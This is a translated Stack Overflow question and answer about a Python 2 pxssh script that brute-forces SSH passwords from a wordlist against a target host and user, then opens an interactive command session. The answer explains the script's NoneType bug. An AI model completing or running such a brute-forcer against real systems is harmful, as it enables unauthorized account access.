python - 属性错误 : 'NoneType' object has no attribute 'sendline' yet module contains the attribute having tested it another way?

标签 python ssh pxssh

在导入相关库并使用 pxssh 库创建连接函数后,我创建了我的主函数来接受“主机”、“用户”和我提供的文件名的参数。

程序成功读取文件并将每个密码字符串解析到 s.login 方法中,并在找到密码后返回“成功”消息。我假设这意味着已经与 ssh 服务器建立了连接。但是从'con = connect'的角度来看,我没有得到任何打印语句说[SSH连接...]比我在成功找到密码后得到命令行提示但在输入命令后得到一个属性错误反对 con.sendline -

>ls -l
Traceback (most recent call last):
  File "sshBruteFpw.py", line 60, in <module>
    main()
  File "sshBruteFpw.py", line 52, in main
    con.sendline(command)
AttributeError: 'NoneType' object has no attribute 'sendline'
root@kali:~/Desktop/scripts# 

当我知道库包含此方法时,我不知道为什么 con.sendline 没有属性“sendline”。我已经用其他方式测试了这个 sendline 方法,它会起作用。

对此非常感谢任何帮助。提前致谢...
    import pxssh
    import argparse 
    import time 
    import sys 
    import getpass

    def connect(host, user, password):
    Fails = 0 

    try: 

        s = pxssh.pxssh()
        s.login(host, user, password)
        print '[+] password found! ' + password
        return s 
    except Exception, e:
        if Fails > 5:
            print '[-] Too many Socket Timeouts!!' 
            sys.exit(1) 
        elif 'read_nonblocking' in str(e): 
            Fails += 1
            time.sleep(5)
            return connect(host, user, password)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            return connect(host, user, password)
        return None 


   def main(): 
    parser = argparse.ArgumentParser()
    parser.add_argument('host', help='Specify Target Host')
    parser.add_argument('user', help='Specify Target User')
    parser.add_argument('file', help='Specify Password File')
    args = parser.parse_args()

    if args.host and args.user and args.file: #if these args are all true 
        with open(args.file, 'r') as infile:  #open with and read only the specified file as 'infile'  
            for line in infile: 
                password = line.strip('\r\n')#read and strip each line
                print "[+] testing passsword " + str(password) #print statement + the read PW being read from the file(converts all to str in case there is a numerical value as well)
                con = connect(args.host, args.user, password)
            if con: #if we get a connection 
                print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
            command = raw_input(">") 
            while command != 'q' and command != 'Q': 
                con.sendline(command)
                con.prompt()
                print con.before
                command = raw_input(">")
    else: 
            print parser.usage
            sys.exit(1)
if __name__ == '__main__':
    main()

最佳答案

除非缩进非常偏离,否则即使您没有 con,您也会进入该代码分支。设置:

        if con: #if we get a connection 
            print "[+] [SSH Connected, Issue Commands (q or Q) to quit]" #just shows uset that they have made a connection and know how to quit
        command = raw_input(">") 
        while command != 'q' and command != 'Q': 
            con.sendline(command)

在第二行之后,应该有 continue ,如果连接失败,不是吗?

关于python - 属性错误 : 'NoneType' object has no attribute 'sendline' yet module contains the attribute having tested it another way?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42676981/

相关文章:

python - 使用 pxssh 进行 SSH 时 python 代码出错

python - argparse - 每个操作不同的强制/可用参数

python - Django 在输入链接时创建一个对象

python - 如何检查 django 模型属性是否属于 ManyToMany 类型?

PHPSecLib 密码保护的 RSA 和用户身份验证

python - 如何在 python 中转义包含单引号、双引号 (',",`) 等所有字符的 Linux 命令?

Python、Numpy、用户指南 1.9.1。 'StringIO' 后续 python 版本的正确替代方案是什么?

java - 如何从 Java webapp 在远程 Linux 机器上远程安装 Java + Tomcat?

c# - plink.exe:在输出中获取无效字符

python - 如何安装 pxssh?找不到模块